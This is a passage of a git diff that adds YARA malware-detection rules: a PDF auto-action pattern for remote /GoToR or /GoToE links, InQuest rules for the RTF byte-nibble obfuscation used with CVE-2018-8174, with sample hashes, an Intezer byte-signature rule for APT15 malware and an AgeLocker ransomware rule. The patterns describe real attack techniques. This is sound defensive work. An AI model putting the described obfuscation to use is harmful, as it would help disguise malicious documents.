+        $badness3 = /\s*\/AA\s*<<\s*\/[OC]\s*<<((\s*\/\D\s*\[[^\]]+\])\s*\/F\s*\((\\\\\\\\[a-z0-9]+\.[^\\]+\\\\[a-z0-9]+|https?:\/\/[^\)]+)\)(\s*\/S\s*\/GoTo[ER])|(\s*\/S\s*\/GoTo[ER])\s*\/F\s*\(\\\\\\\\[a-z0-9]+.[^\\]+\\\\[a-z0-9]+\)(\s*\/\D\s*\[[^\]]+\]))/ nocase
+
+    condition:
+        for any i in (0..1024) : (uint32be(i) == 0x25504446) and any of ($badness*)
+}
diff --git a/yara-mikesxrs/InQuest/RTF_Byte_Nibble_Obfuscation_method.yar b/yara-mikesxrs/InQuest/RTF_Byte_Nibble_Obfuscation_method.yar
new file mode 100644
index 0000000..dce949a
--- /dev/null
+++ b/yara-mikesxrs/InQuest/RTF_Byte_Nibble_Obfuscation_method.yar
@@ -0,0 +1,96 @@
+/*
+
+This signature is designed to detect the obfuscation method described by Boris Larin here:
+
+    Disappearing bytes: Reverse engineering the MS Office RTF parser
+    https://securelist.com/disappearing-bytes/84017/
+    February 21st 2018
+
+An excellent write-up and highly recommended read. In essence, by reverse engineering the RTF
+parsing state machine, he was able to find a character sequence that would result in what we
+like to call a "byte nibble".
+
+This technique was interesting when we first saw it back in February, it's even more interesting
+today however in light of the patching of the following in-the-wild exploited 0day:
+
+    CVE-2018-8174: Microsoft VBScript Use-After-Free (aka Double Kill)
+
+The vulnerability affected Internet Explorer / VBScript and was originally discovered by Qihoo
+security researchers who noticed the 0day in the wild on April 20th. They dubbed it "Double Kill"
+but kept specifics under wrap. Microsoft released a patch on May 8th.
+
+An initial public report, from the Qihoo 360 Security team:
+
+    https://weibo.com/ttarticle/p/show?id=2309404230886689265523
+
+A very well done and complete dissection from the researchers at Kaspersky (kudos to Boris again!):
+
+    https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/
+
+Note that the 0day was exploited via a second stage payload triggered with the opening of a
+malicious RTF document. That document, originally uploaded to VirusTotal on April 18, leverages
+the disappearing bytes technique detailed earlier:
+
+    https://www.virustotal.com/en/file/10ceb5916cd90e75f8789881af40287c655831c5086ae1575b327556b63cdb24/analysis
+
+We'll continue to earmark interesting tidbits around the subject matter here:
+
+    https://twitter.com/i/moments/994122868949770240
+
+We have two versions of this rule for your hunting pleasure. It's worth mentioning that searching
+through our past few months of harvested RTF samples ... only the 0day sample in question triggered
+an alert. Certainly, the usage of this obfuscation technique will ramp up.
+
+Update July 2018:
+
+    https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html
+
+The carrier in the FireEye report above utilizes the byte-nibble technique. Some additional hashes to play with from VT:
+
+    first_seen,sha256
+    2018-04-18 06:57:18,10ceb5916cd90e75f8789881af40287c655831c5086ae1575b327556b63cdb24
+    2018-05-09 21:07:27,de1409ccd869153ab444de9740b1733e50f182beea5daea7a9b77e56bd354aa9
+    2018-05-14 16:44:06,7532ef45138d57ac4ed9eeec0f62f9edef4447723efde66bffcff38175f6d62d
+    2018-05-15 08:41:59,6e2a271f9e137bc8c62fa304ede3b5bac046f4957d3f8249dde60357463e651d
+    2018-05-18 14:33:24,0655d58db2798ad8336f92dd580f988312f37f3e52b405c9c71d3afd2bd2c290
+    2018-05-18 17:04:52,758a0e300edff045ede857ad4b01c4d51f373add59c43b78047dd69ce4c7765a
+    2018-06-06 14:12:51,d78fac933ab239c12ce24244188e65dea150ddd183fd88417d9c311914af30c2
+    2018-06-27 09:03:21,7a0c20c85f01a9d11e2b5f67483d154864b1a1dc8112566df156f8232d38a4d5
+    2018-06-27 09:18:37,5484b0f37f21861c480f43c40168d9767bf619dfcd92436193ab7d7aee188fc4
+    2018-06-27 11:50:56,96e8aae58cd3e4a39238372cb67a99441f78d6c92fd78c3c9ba16424b99ba3cf
+    2018-06-27 12:06:09,48aa32a4490beefc488add66df46b75bbd480af9cedebaa0c096ac216dd08d79
+    2018-06-27 12:21:21,0c91e70676609b765e4d20afa992660f306798af60f9c164dd41336590636864
+    2018-07-06 11:53:40,e6c37c6d6ce40ca9ffd4b0ad63d1399f11949fc28a2cf66282daa54645f24b4c
+    2018-07-11 03:47:27,45a86012cb99762d57d0fe1626d5cdc9046751e26eac7d9ef0e8adedb03b8661
+    2018-07-18 01:33:45,54b32a37fc521c258da32fd15acb580d03b820ff69977696af5a134edea48f86
+    2018-07-18 08:35:46,cd4de8bfd2ac80175f83c6f2f754c9c0f693dc081d16e5035c208ca384e01b02
+    2018-07-19 01:09:45,884303b1f4fe64f7ac19f5fbea9afb72f6cd5cd069e195452e5c77cc07fefab9
+    2018-07-20 01:38:19,62c03c4cd9d94029be4e38c4cbaf934a3a19919fab6ef3561a22f544bc892a2f
+    2018-07-23 10:35:39,3f922fe437a4394c9c35dbf05252ff8fa20e2bbf10eb726ba9398c933c797837
+    2018-07-27 09:26:52,008d54ba06ec1b5fd909c1e0e9d9ba9a23c6d9a11d6e0f6910877e639b31c529
+
+For those of you without VT access, those samples are available in our malware-samples repository at:
+
+    https://github.com/InQuest/malware-samples/tree/master/2018-08-RTF-Byte-Nibble-Obfuscation
+*/
+
+rule RTF_Byte_Nibble_Obfuscation_method1
+{
+    strings:
+        $magic    = {7b 5c 72}
+        $update   = "\\objupdate" nocase
+        $data     = "\\objdata"   nocase
+        $nibble_a = /([A-Fa-f0-9]\\'[A-Fa-f0-9]{4}){4}/
+        $nibble_b = /(\\'[A-Fa-f0-9]+\\'[A-Fa-f0-9]{4}){4}/
+    condition:
+        $magic in (0..30) and all of them and (#nibble_a > 10 or #nibble_b > 10)
+}
+
+rule RTF_Byte_Nibble_Obfuscation_method2
+{
+    strings:
+        $magic  = {7b 5c 72}
+        $nibble = /\\objupdate.{0,1024}\\objdata.{0,1024}([A-Fa-f0-9]\\'[A-Fa-f0-9]{4}){2}/
+    condition:
+        $magic in (0..30) and all of them
+}
diff --git a/yara-mikesxrs/Intezer/1 b/yara-mikesxrs/Intezer/1
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/yara-mikesxrs/Intezer/1
@@ -0,0 +1 @@
+
diff --git a/yara-mikesxrs/Intezer/APT15.yar b/yara-mikesxrs/Intezer/APT15.yar
new file mode 100644
index 0000000..43070f7
--- /dev/null
+++ b/yara-mikesxrs/Intezer/APT15.yar
@@ -0,0 +1,48 @@
+rule Intezer_Vaccine_5287e523f49ba7ac3841114d44b01057a9392f3052d9a0de1828559d5dd4b8b2
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2019-11-28"
+		sha256 = "5287e523f49ba7ac3841114d44b01057a9392f3052d9a0de1828559d5dd4b8b2"
+	strings:
+		$4208660_571 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? 33 ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 8C }
+		$4205573_431 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? 83 ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 33 ?? 89 ?? ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 6A ?? 5? 33 ?? 8D ?? ?? ?? ?? ?? F3 ?? 66 ?? AA 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 33 }
+		$4207500_343 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? 33 ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 8B ?? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$4206476_314 = { 68 ?? ?? ?? ?? 5? BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 5? 5? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 4? 99 6A ?? 5? F7 ?? 89 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 6B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? FF 7? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? 66 ?? ?? ?? ?? ?? 88 ?? ?? 3B ?? 0F 84 }
+		$4207933_283 = { 88 ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 6B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$4199464_264 = { B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 8B ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 8B ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 6A ?? 5? 66 ?? ?? ?? ?? ?? ?? 33 ?? 66 ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? 6A ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 84 }
+		$4207278_166 = { 88 ?? ?? 33 ?? 8D ?? ?? AA 8B ?? ?? 8B ?? 8B ?? ?? 2B ?? 83 ?? ?? 5? 83 ?? ?? 5? 6A ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 6A ?? 5? 33 ?? BA ?? ?? ?? ?? 8B ?? F3 ?? 8B ?? ?? 2B ?? 83 ?? ?? 5? 83 ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 5? BE ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 83 ?? ?? 5? 83 ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 5? 5? BB ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 2B ?? 83 ?? ?? 5? 83 ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F BE ?? ?? 89 }
+		$4198527_120 = { 8B ?? ?? 8B ?? 8B ?? C1 ?? ?? 83 ?? ?? 8B ?? C1 ?? ?? C1 ?? ?? 83 ?? ?? 0B ?? E8 ?? ?? ?? ?? 0F BE ?? 8B ?? C1 ?? ?? 83 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? C1 ?? ?? 0B ?? 8B ?? C1 ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? C1 ?? ?? 0B ?? C1 ?? ?? E8 ?? ?? ?? ?? 0F BE ?? 0B ?? 8B ?? C1 ?? ?? 83 ?? ?? C1 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F BE ?? 0B ?? 89 ?? 83 ?? ?? FF 4? ?? 75 }
+		$4206114_94 = { 2B ?? D1 ?? 8D ?? ?? 68 ?? ?? ?? ?? 5? BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8D ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 89 }
+		$4211505_82 = { 83 ?? ?? 5? BB ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? A1 ?? ?? ?? ?? 4? 99 6A ?? 5? F7 ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? 6A ?? 5? 33 ?? 8D ?? ?? ?? ?? ?? F3 ?? 66 ?? AA 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$4208340_81 = { 68 ?? ?? ?? ?? 5? BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 83 ?? ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 33 }
+		$4212528_74 = { 8B ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 6B ?? ?? 83 ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 0F B6 ?? ?? ?? ?? ?? 33 ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8A ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? EB }
+		$4207166_73 = { 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 39 ?? ?? 0F 84 }
+		$4206931_63 = { 2B ?? 5? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 8B ?? 89 ?? ?? 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 88 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 33 }
+		$4213639_62 = { 5? 8B ?? 83 ?? ?? 5? 5? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 68 ?? ?? ?? ?? 6A ?? A5 33 ?? 5? 5? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 75 }
+		$4213022_61 = { 6A ?? 5? 66 ?? ?? ?? 8D ?? ?? 5? 89 ?? ?? FF 1? ?? ?? ?? ?? 8D ?? ?? 5? 83 ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? A5 A5 8B ?? A5 A5 83 ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 5? A5 FF 5? ?? 85 ?? 0F 85 }
+		$4207854_56 = { A1 ?? ?? ?? ?? 4? 99 6A ?? 5? F7 ?? 89 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 6A ?? 5? 33 ?? 8D ?? ?? ?? ?? ?? F3 ?? 66 ?? AA 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 85 ?? 75 }
+		$4211183_49 = { 2B ?? ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA C6 ?? ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? ?? ?? AB AB AB 66 ?? AA 89 }
+		$4199921_46 = { 6A ?? 5? 8D ?? ?? 8D ?? ?? ?? ?? ?? F3 ?? 66 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$4209276_44 = { 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? BF ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$4199740_41 = { 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? FF 1? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4209235_37 = { 33 ?? 4? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 39 ?? ?? 0F 8E }
+		$4209887_36 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4206817_25 = { 83 ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$4198474_21 = { 83 ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 8D ?? ?? 85 ?? 0F 8E }
+		$4208243_21 = { 83 ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 8B ?? 3B ?? 0F 84 }
+		$4206794_19 = { 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 5? 5? 89 ?? ?? 3B ?? 0F 84 }
+		$4200134_18 = { 83 ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$4206005_18 = { C1 ?? ?? 0F BE ?? 03 ?? 4? 89 ?? ?? ?? ?? ?? 38 ?? 75 }
+		$4198918_16 = { 8D ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 3B ?? 0F 8E }
+		$4209577_16 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4212041_15 = { 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$4208629_15 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 80 7? ?? ?? 0F 84 }
+		$4212995_14 = { 8B ?? 8D ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+
+	condition:
+		10 of them
+}
diff --git a/yara-mikesxrs/Intezer/AgeLocker.yar b/yara-mikesxrs/Intezer/AgeLocker.yar
new file mode 100644
index 0000000..1fbf213
--- /dev/null
+++ b/yara-mikesxrs/Intezer/AgeLocker.yar
@@ -0,0 +1,19 @@
+rule AgeLocker
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+
+    strings:
+        $a0 = "agelocker.go"
+        $a1 = "filippo.io/age/age.go"
+        $b0 = "main.encrypt"
+        $b2 = "main.stringInSlice"
+        $b3 = "main.create_message"
+        $b4 = "main.fileExists"
+
+
+    condition:
+        any of ($a*) and any of ($b*)
+}
diff --git a/yara-mikesxrs/Intezer/ChinaZ_Managers.yar b/yara-mikesxrs/Intezer/ChinaZ_Managers.yar
new file mode 100644
index 0000000..d0ad9df
